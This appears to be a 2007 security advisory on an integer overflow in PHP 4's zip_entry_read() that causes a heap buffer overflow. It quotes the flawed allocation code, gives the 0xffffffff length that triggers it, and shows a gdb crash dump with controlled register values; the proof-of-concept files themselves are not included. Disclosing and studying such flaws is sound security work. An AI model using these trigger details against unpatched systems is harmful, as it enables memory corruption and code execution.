MOPB-35-2007:PHP 4 zip_entry_read() Integer Overflow Vulnerability
Summary
The zip_read_entry() function that is used to read the content of a file stored inside a .ZIP archive is vulnerable to an integer overflow in memory allocation that leads to an exploitable bufferoverflow.
Affected versions
Affected are PHP 4 < 4.4.5
Detailed information
The zip_read_entry() function does not perform any check on the supplied length parameter. Therefore an integer overflow in memory allocation can happen when it adds one byte for a terminating ASCIIZ character.
buf = emalloc(len + 1);
ret = zzip_read(entry->fp, buf, len);
buf[ret] = 0;
When a length of 0xffffffff is supplied the allocated memory block will be of size 0 while up to 4 GB of data is read from the ZIP archive into this memory block. This will overwrite everything behind the allocated block and can lead to the execution of arbitrary code.
Proof of concept, exploit or instructions to reproduce
The attached exploit consists of a small PHP POC and the supplied ZIP archive that contains the data that will overflow the buffer. Because this bug is just a standard heap overflow the POC only shows the crash inside the unlink macro.
$ gdb ./php
(...)
(gdb) run MOPB-35-2007.php
Starting program: /../php-4.4.4/sapi/cli/php MOPB-35-2007.php
Program received signal SIGSEGV, Segmentation fault.
0x0812c127 in _efree (ptr=0x81d76ec) at /../php-4.4.4/Zend/zend_alloc.c:274
274 REMOVE_POINTER_FROM_LIST(p);
(gdb) x/5i $eip
0x812c127 <_efree+71>: mov %eax,(%edx)
0x812c129 <_efree+73>: mov (%ebx),%edx
0x812c12b <_efree+75>: test %edx,%edx
0x812c12d <_efree+77>: je 0x812c135 <_efree+85>
0x812c12f <_efree+79>: mov 0x4(%ebx),%eax
(gdb) i r
eax 0x44444444 1145324612
ecx 0x8c8c8c9 147376329
edx 0x45454545 1162167621
ebx 0x81d76e0 136148704
esp 0xbff3ae20 0xbff3ae20
ebp 0xbff3ae28 0xbff3ae28
esi 0x81d265c 136128092
edi 0x81d71b4 136147380
eip 0x812c127 0x812c127 <_efree+71>
eflags 0x10216 66070
cs 0x73 115
ss 0x7b 123
ds 0x7b 123
es 0x7b 123
fs 0x0 0
gs 0x33 51
(gdb)
Notes
Nothing special, just a normal heap overflow.